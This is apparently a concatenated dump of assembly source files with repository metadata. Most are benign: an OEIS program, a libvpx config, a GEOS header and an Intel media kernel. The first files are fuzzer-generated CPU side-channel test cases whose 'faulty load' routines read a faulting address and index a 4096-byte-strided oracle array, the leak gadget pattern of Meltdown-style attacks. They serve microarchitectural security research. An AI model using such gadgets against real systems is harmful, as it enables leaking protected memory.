{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'33': 19795}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 38.214286
| 2,999
| 0.654715
|
c2a0a6804bb14e10e2fca921cfd0763ee3ab3b9d
| 7,321
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_21829_748.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_21829_748.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_21829_748.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r14
push %r8
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1c8bf, %r10
nop
nop
nop
sub %r11, %r11
movb $0x61, (%r10)
nop
cmp $19092, %rbx
lea addresses_D_ht+0xfcbf, %r8
sub %rbx, %rbx
mov (%r8), %r14d
nop
nop
xor %r13, %r13
lea addresses_normal_ht+0xdfbf, %rsi
lea addresses_UC_ht+0x1098e, %rdi
add %rbx, %rbx
mov $30, %rcx
rep movsw
nop
nop
sub %rsi, %rsi
lea addresses_WC_ht+0x13ebf, %rsi
lea addresses_UC_ht+0x108bf, %rdi
clflush (%rsi)
nop
nop
nop
nop
xor %rbx, %rbx
mov $54, %rcx
rep movsl
nop
nop
nop
nop
xor $42596, %r14
lea addresses_UC_ht+0xbbbf, %rsi
lea addresses_A_ht+0xba9f, %rdi
nop
cmp %r8, %r8
mov $46, %rcx
rep movsq
nop
nop
nop
nop
nop
mfence
lea addresses_WC_ht+0x137ff, %rsi
lea addresses_WC_ht+0x11cbf, %rdi
nop
nop
nop
sub %rbx, %rbx
mov $19, %rcx
rep movsb
nop
nop
nop
and %r14, %r14
lea addresses_WT_ht+0x1713f, %r14
nop
nop
nop
nop
nop
sub $29811, %rsi
movb (%r14), %cl
xor $12640, %rbx
lea addresses_UC_ht+0x1107f, %r10
nop
nop
nop
nop
nop
cmp %rdi, %rdi
mov $0x6162636465666768, %r8
movq %r8, (%r10)
nop
nop
and $35909, %rsi
lea addresses_D_ht+0x19fbf, %rsi
lea addresses_UC_ht+0x1c8bf, %rdi
clflush (%rdi)
inc %r13
mov $80, %rcx
rep movsq
and %rbx, %rbx
lea addresses_WT_ht+0x1cabf, %rdi
nop
nop
nop
nop
and $12535, %r13
mov (%rdi), %r14
nop
nop
nop
nop
add $55281, %r10
lea addresses_D_ht+0x1a50f, %rsi
lea addresses_WT_ht+0x81bf, %rdi
nop
nop
nop
nop
sub %r11, %r11
mov $104, %rcx
rep movsb
nop
nop
nop
nop
add $35194, %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r14
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r15
push %r9
push %rax
push %rcx
push %rdx
// Store
lea addresses_WT+0x1acbf, %rcx
nop
nop
nop
nop
sub %r11, %r11
mov $0x5152535455565758, %rax
movq %rax, %xmm3
vmovups %ymm3, (%rcx)
nop
nop
cmp $29172, %r15
// Store
lea addresses_US+0x1adbe, %rax
nop
nop
nop
nop
nop
dec %rdx
movl $0x51525354, (%rax)
cmp $41823, %r9
// Faulty Load
lea addresses_D+0xe8bf, %rdx
nop
nop
nop
cmp $44549, %r11
mov (%rdx), %r9d
lea oracles, %r15
and $0xff, %r9
shlq $12, %r9
mov (%r15,%r9,1), %r9
pop %rdx
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 5, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 34.21028
| 2,999
| 0.658243
|
74e9929f824c284145bae382492233069464f2ac
| 531
|
asm
|
Assembly
|
programs/oeis/315/A315475.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/315/A315475.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/315/A315475.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A315475: Coordination sequence Gal.5.133.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,6,11,16,21,27,32,37,42,48,54,59,64,69,75,80,85,90,96,102,107,112,117,123,128,133,138,144,150,155,160,165,171,176,181,186,192,198,203,208,213,219,224,229,234,240,246,251,256,261
mov $4,$0
lpb $0,1
mov $1,$0
mul $1,3
sub $1,$0
sub $0,1
div $1,3
trn $1,1
mod $1,3
add $2,$1
lpe
div $2,3
mov $1,$2
add $1,1
mov $3,$4
mul $3,5
add $1,$3
| 25.285714
| 180
| 0.6629
|
0322157075ebfb398b422251b73bffee00f6887d
| 2,650
|
asm
|
Assembly
|
third_party/libvpx/source/config/ios/arm-neon/vpx_config.asm
|
zealoussnow/chromium
|
fd8a8914ca0183f0add65ae55f04e287543c7d4a
|
[
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 14,668
|
2015-01-01T01:57:10.000Z
|
2022-03-31T23:33:32.000Z
|
third_party/libvpx/source/config/ios/arm-neon/vpx_config.asm
|
zealoussnow/chromium
|
fd8a8914ca0183f0add65ae55f04e287543c7d4a
|
[
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 113
|
2015-05-04T09:58:14.000Z
|
2022-01-31T19:35:03.000Z
|
third_party/libvpx/source/config/ios/arm-neon/vpx_config.asm
|
zealoussnow/chromium
|
fd8a8914ca0183f0add65ae55f04e287543c7d4a
|
[
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 5,941
|
2015-01-02T11:32:21.000Z
|
2022-03-31T16:35:46.000Z
|
@ This file was created from a .asm file
@ using the ads2gas_apple.pl script.
.syntax unified
.set VPX_ARCH_ARM , 1
.set ARCH_ARM , 1
.set VPX_ARCH_MIPS , 0
.set ARCH_MIPS , 0
.set VPX_ARCH_X86 , 0
.set ARCH_X86 , 0
.set VPX_ARCH_X86_64 , 0
.set ARCH_X86_64 , 0
.set VPX_ARCH_PPC , 0
.set ARCH_PPC , 0
.set HAVE_NEON , 1
.set HAVE_NEON_ASM , 1
.set HAVE_MIPS32 , 0
.set HAVE_DSPR2 , 0
.set HAVE_MSA , 0
.set HAVE_MIPS64 , 0
.set HAVE_MMX , 0
.set HAVE_SSE , 0
.set HAVE_SSE2 , 0
.set HAVE_SSE3 , 0
.set HAVE_SSSE3 , 0
.set HAVE_SSE4_1 , 0
.set HAVE_AVX , 0
.set HAVE_AVX2 , 0
.set HAVE_AVX512 , 0
.set HAVE_VSX , 0
.set HAVE_MMI , 0
.set HAVE_VPX_PORTS , 1
.set HAVE_PTHREAD_H , 1
.set HAVE_UNISTD_H , 0
.set CONFIG_DEPENDENCY_TRACKING , 1
.set CONFIG_EXTERNAL_BUILD , 1
.set CONFIG_INSTALL_DOCS , 0
.set CONFIG_INSTALL_BINS , 1
.set CONFIG_INSTALL_LIBS , 1
.set CONFIG_INSTALL_SRCS , 0
.set CONFIG_DEBUG , 0
.set CONFIG_GPROF , 0
.set CONFIG_GCOV , 0
.set CONFIG_RVCT , 0
.set CONFIG_GCC , 1
.set CONFIG_MSVS , 0
.set CONFIG_PIC , 0
.set CONFIG_BIG_ENDIAN , 0
.set CONFIG_CODEC_SRCS , 0
.set CONFIG_DEBUG_LIBS , 0
.set CONFIG_DEQUANT_TOKENS , 0
.set CONFIG_DC_RECON , 0
.set CONFIG_RUNTIME_CPU_DETECT , 0
.set CONFIG_POSTPROC , 1
.set CONFIG_VP9_POSTPROC , 1
.set CONFIG_MULTITHREAD , 1
.set CONFIG_INTERNAL_STATS , 0
.set CONFIG_VP8_ENCODER , 1
.set CONFIG_VP8_DECODER , 1
.set CONFIG_VP9_ENCODER , 1
.set CONFIG_VP9_DECODER , 1
.set CONFIG_VP8 , 1
.set CONFIG_VP9 , 1
.set CONFIG_ENCODERS , 1
.set CONFIG_DECODERS , 1
.set CONFIG_STATIC_MSVCRT , 0
.set CONFIG_SPATIAL_RESAMPLING , 1
.set CONFIG_REALTIME_ONLY , 1
.set CONFIG_ONTHEFLY_BITPACKING , 0
.set CONFIG_ERROR_CONCEALMENT , 0
.set CONFIG_SHARED , 0
.set CONFIG_STATIC , 1
.set CONFIG_SMALL , 0
.set CONFIG_POSTPROC_VISUALIZER , 0
.set CONFIG_OS_SUPPORT , 1
.set CONFIG_UNIT_TESTS , 1
.set CONFIG_WEBM_IO , 1
.set CONFIG_LIBYUV , 0
.set CONFIG_DECODE_PERF_TESTS , 0
.set CONFIG_ENCODE_PERF_TESTS , 0
.set CONFIG_MULTI_RES_ENCODING , 1
.set CONFIG_TEMPORAL_DENOISING , 1
.set CONFIG_VP9_TEMPORAL_DENOISING , 1
.set CONFIG_CONSISTENT_RECODE , 0
.set CONFIG_COEFFICIENT_RANGE_CHECKING , 0
.set CONFIG_VP9_HIGHBITDEPTH , 0
.set CONFIG_BETTER_HW_COMPATIBILITY , 0
.set CONFIG_EXPERIMENTAL , 0
.set CONFIG_SIZE_LIMIT , 1
.set CONFIG_ALWAYS_ADJUST_BPM , 0
.set CONFIG_BITSTREAM_DEBUG , 0
.set CONFIG_MISMATCH_DEBUG , 0
.set CONFIG_FP_MB_STATS , 0
.set CONFIG_EMULATE_HARDWARE , 0
.set CONFIG_NON_GREEDY_MV , 0
.set CONFIG_RATE_CTRL , 0
.set DECODE_WIDTH_LIMIT , 16384
.set DECODE_HEIGHT_LIMIT , 16384
| 26.767677
| 43
| 0.742264
|
038490c542a76aae35441426f7651072db0a45a0
| 621
|
asm
|
Assembly
|
Library/SpecUI/CommonUI/CSpec/cspecTextEdit.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Library/SpecUI/CommonUI/CSpec/cspecTextEdit.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Library/SpecUI/CommonUI/CSpec/cspecTextEdit.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1988 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: CommonUI/CSpec
FILE: cspecTextEdit.asm
ROUTINES:
Name Description
---- -----------
GLB OLBuildTextEdit Convert a text edit to the OL equivalent
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 6/89 Initial version
DESCRIPTION:
$Id: cspecTextEdit.asm,v 1.1 97/04/07 10:50:56 newdeal Exp $
------------------------------------------------------------------------------@
Nuked. 7/ 7/92 cbh
| 21.413793
| 80
| 0.47182
|
0e1358e3eb8d0fc7b5cf4bbba2b917bb757becf5
| 36,317
|
asm
|
Assembly
|
media_driver/agnostic/gen11_icllp/vp/kernel_free/Source/Save_444Scale16_R10G10B10XRA2.asm
|
lacc97/media-driver
|
8aa1d74b80668f9963e691b1c01ab564f50aec85
|
[
"Intel",
"BSD-3-Clause",
"MIT"
] | 660
|
2017-11-21T15:55:52.000Z
|
2022-03-31T06:31:00.000Z
|
media_driver/agnostic/gen11_icllp/vp/kernel_free/Source/Save_444Scale16_R10G10B10XRA2.asm
|
lacc97/media-driver
|
8aa1d74b80668f9963e691b1c01ab564f50aec85
|
[
"Intel",
"BSD-3-Clause",
"MIT"
] | 1,070
|
2017-12-01T00:26:10.000Z
|
2022-03-31T17:55:26.000Z
|
media_driver/agnostic/gen11_icllp/vp/kernel_free/Source/Save_444Scale16_R10G10B10XRA2.asm
|
lacc97/media-driver
|
8aa1d74b80668f9963e691b1c01ab564f50aec85
|
[
"Intel",
"BSD-3-Clause",
"MIT"
] | 309
|
2017-11-30T08:34:09.000Z
|
2022-03-30T18:52:07.000Z
|
/*
* Copyright (c) 2017, Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
L0:
and (16|M0) (ne)f0.0 null.0<1>:w r2.3<0;1,0>:uw 1:w
add (4|M0) a0.0<1>:w r22.0<4;4,1>:w 0x0:uw {AccWrEn}
(f0.0) mov (1|M0) r17.0<1>:uw a0.0<0;1,0>:uw
(f0.0) mov (1|M0) a0.0<1>:uw a0.2<0;1,0>:uw
(f0.0) mov (1|M0) a0.2<1>:uw r17.0<0;1,0>:uw
mov (8|M0) r27.0<1>:ud r0.0<8;8,1>:ud
shl (2|M0) r27.0<1>:d r7.0<2;2,1>:w 0x2:v
mov (1|M0) r27.2<1>:ud 0xF000F:ud
add (4|M0) a0.4<1>:w a0.0<4;4,1>:w r22.8<0;2,1>:w
mov (8|M0) r28.0<1>:ud r27.0<8;8,1>:ud
mov (8|M0) r37.0<1>:ud r27.0<8;8,1>:ud
mov (8|M0) r46.0<1>:ud r27.0<8;8,1>:ud
mov (8|M0) r55.0<1>:ud r27.0<8;8,1>:ud
add (1|M0) r37.0<1>:d r27.0<0;1,0>:d 16:d
add (1|M0) r46.0<1>:d r27.0<0;1,0>:d 32:d
add (1|M0) r55.0<1>:d r27.0<0;1,0>:d 48:d
add (16|M0) (sat)r[a0.0]<1>:uw r[a0.0]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.0,32]<1>:uw r[a0.0,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4]<1>:uw r[a0.4]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4,32]<1>:uw r[a0.4,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1]<1>:uw r[a0.1]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1,32]<1>:uw r[a0.1,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5]<1>:uw r[a0.5]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5,32]<1>:uw r[a0.5,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2]<1>:uw r[a0.2]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2,32]<1>:uw r[a0.2,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6]<1>:uw r[a0.6]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6,32]<1>:uw r[a0.6,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.3]<1>:uw r[a0.3]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.3,32]<1>:uw r[a0.3,32]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.7]<1>:uw r[a0.7]<16;16,1>:uw 0x2000:uw
add (16|M0) (sat)r[a0.7,32]<1>:uw r[a0.7,32]<16;16,1>:uw 0x2000:uw
mov (8|M0) r29.0<1>:ud 0x401004:ud
shr (8|M0) r29.3<4>:ub r[a0.3,1]<16;4,2>:ub 0x6:uw
shl (8|M0) r29.0<1>:ud r29.0<8;8,1>:ud 0x2:ud
mov (8|M0) r29.2<4>:ub r[a0.2,1]<16;4,2>:ub
shl (8|M0) r29.0<1>:ud r29.0<8;8,1>:ud 0x2:ud
mov (8|M0) r29.1<4>:ub r[a0.1,1]<16;4,2>:ub
shl (8|M0) r29.0<1>:ud r29.0<8;8,1>:ud 0x2:ud
mov (8|M0) r29.0<4>:ub r[a0.0,1]<16;4,2>:ub
mov (8|M0) r30.0<1>:ud 0x401004:ud
shr (8|M0) r30.3<4>:ub r[a0.3,33]<16;4,2>:ub 0x6:uw
shl (8|M0) r30.0<1>:ud r30.0<8;8,1>:ud 0x2:ud
mov (8|M0) r30.2<4>:ub r[a0.2,33]<16;4,2>:ub
shl (8|M0) r30.0<1>:ud r30.0<8;8,1>:ud 0x2:ud
mov (8|M0) r30.1<4>:ub r[a0.1,33]<16;4,2>:ub
shl (8|M0) r30.0<1>:ud r30.0<8;8,1>:ud 0x2:ud
mov (8|M0) r30.0<4>:ub r[a0.0,33]<16;4,2>:ub
mov (8|M0) r38.0<1>:ud 0x401004:ud
shr (8|M0) r38.3<4>:ub r[a0.3,9]<16;4,2>:ub 0x6:uw
shl (8|M0) r38.0<1>:ud r38.0<8;8,1>:ud 0x2:ud
mov (8|M0) r38.2<4>:ub r[a0.2,9]<16;4,2>:ub
shl (8|M0) r38.0<1>:ud r38.0<8;8,1>:ud 0x2:ud
mov (8|M0) r38.1<4>:ub r[a0.1,9]<16;4,2>:ub
shl (8|M0) r38.0<1>:ud r38.0<8;8,1>:ud 0x2:ud
mov (8|M0) r38.0<4>:ub r[a0.0,9]<16;4,2>:ub
mov (8|M0) r39.0<1>:ud 0x401004:ud
